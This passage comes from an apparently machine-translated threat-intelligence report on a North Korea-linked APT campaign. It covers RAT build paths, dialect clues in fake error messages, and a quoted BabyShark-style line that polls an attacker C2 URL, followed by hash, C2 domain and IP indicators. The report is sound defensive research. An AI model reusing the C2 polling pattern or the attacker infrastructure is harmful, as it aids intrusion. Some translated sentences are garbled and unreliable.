○ 这被解释为“TutClient”开源是针对APT攻击进行研究和准备的情况,“病毒”的含义是朝鲜对英语单词“病毒”的韩语表达。另一方面,其他类似变种主要使用以下路径,但路径名改为英文单词“virus”。
D:\work\Virus\자료조사\rat_source\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
E:\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
[表19] PDB路径更改为“病毒”文件夹路径
○ 在调查此威胁活动时,GSC 分析了一个基于 C# 语言的恶意文件,据信该文件是由同一主谋创建的。该文件于 2023 年 6 月 15 日开发,名称如下:“ConsoleApplication1.pdb”。
D:\work\Virus\자료조사\rat_source\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
D:\work\Virus\1_troy\c#\pack_2023\2023-06\work\obj\Debug\ConsoleApplication1.pdb
E:\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
[表20]从相似PDB路径创建的恶意文件的比较
○ 此时值得注意的是TutClient.pdb开发路径与[D:\work\Virus]路径相同。
【图15】类似PDB路径中开发的恶意代码
○ 该恶意文件显示虚假消息窗口,并执行收集和泄露设备信息的典型信息窃取功能。此时出现的消息窗口中,有【打开错误】、【文档已被破坏】等表述。
韩语表达 | 朝鲜语表达 |
---|---|
오류 | 오유 |
되었습니다 | 되였습니다 |
파일 | 화일 |
바이러스 | 비루스 |
이내 | 인차 |
[表21]韩朝语言表达对比
○ “Oyu”在朝鲜语中是“错误”的意思,“已经完成”也是朝鲜语中“已经完成”的代表性表达方式之一。尽管并不常见,但也曾有过在恶意文件开发过程中发现语言表达习惯痕迹的案例。当然,威胁行为者也会注意语言以避免犯这些错误,并且未来有可能使用人工智能。
○ 基于语言的威胁分析只有正确理解各国语言特点、区分地域特征,才能获取重要线索。
○ 如上所述,该威胁行为者在 APT 攻击中积极利用 C# 编程语言。另一个特点是,他们不是在内部开发所有恶意程序,而是选择互联网上可用的几个开源源并利用它们进行攻击。开源可用于隐藏攻击基地、国籍和身份。
○ 此外,该恶意文件使用的脚本代码包含["http://" & ui & "/list.php?query=1":Do while .busy],这是典型的“BabyShark”的“RandomQuery” 你可以看到这个命令。
5.结论及应对方法(Conclusion)
○ 快捷方式(LNK)类型的 APT 攻击将持续到 2024 年第一季度。针对韩国的主要威胁行为者正在战略性地使用这种方法,以最大限度地避免在初始渗透阶段检测到设备上安装的防病毒软件。
○ 特别是,合法使用的全球云存储继续被用作一种威胁基础设施。因此,包括个人用户在内的公司和机构的安全管理者需要仔细检查主要云存储的通信历史记录。
○ 这是因为基于无文件的攻击主要使用PowerShell脚本和云服务提供的普通API函数进行。特别是,由于代码和通信加密,检测和识别异常行为并不容易。
○ 与此同时,Google Drive、Dropbox、OneDrive等正在努力在发现APT攻击所利用的服务账户后迅速封锁,并为订阅者采取后续措施,以最大程度地减少类似威胁造成的损失。对于这些公益活动来说,更多安全专家的支持与配合非常重要。
○ GSC收集并观察了韩国发生的实际威胁案例,并从多个角度调查了通过各种渠道和传感器获得的侵权指标之间的相关性。通过使用Genian EDR解决方案的虚拟模拟攻击流程和威胁响应来验证 以这种方式分析的基本数据。
IOC
● MD5
1e66ac680d0edfe18d97b89e46c7e82e
eb08ab3854168c834ab154facfe695a3
a4bd6d00abbd79ab00161ff538cfe703
3e3013fe03f7416b8d1e96591f8e5839
c700195f61635b9a6fb1ee4359b91940
fcdcc6c56ae43f7a78413cc5204e9314
781acd3a8250da862e48425d078b54ad
32519b46b55792084240f850e0c94298
544963f602ec6c97994d38ce39368d79
dce864eabfbd6445682a4671a2fee1a9
8133c5f663f89b01b30a052749b5a988
d19253d84c6cb8fb6064e6d33bed556f
fb5aec165279015f17b29f9f2c730976
eb614c99614c3365bdc926a73ef7a492
a9276bae977589f3f670f26b2cb8a9f1
64dee04b6e6404c14d10971adf35c3a7
b70bc31b537caf411f97a991d8292c5a
515194ef77fbbe04845de290eefd0049
2f9125a538d84dd952f72722f28575b8
61a30992e0a7ab93cd3a47cc51284b35
ade1d12604dd9d62f6ef97a93cda142b
b9898e8e5b6494bcc219462c6be7c248
f395012ff30a846d0e7ed787147f5723
5ad5ace1ec82538f66acf13e48cf8db4
0040f03faf5bbdc555f2039a4e33a82b
● C2
meatalk[.]com
kyungdaek[.]com
siloamclinic[.]com
dddon[.]kr
iso3488.co[.]kr
regard.co[.]kr
aymdtt.co[.]kr
gbionet[.]com
strehab[.]com
well-story.co[.]kr
vwellpain[.]com
165.154.230[.]24
122.155.191[.]33
218.150.78[.]197
183.111.141[.]93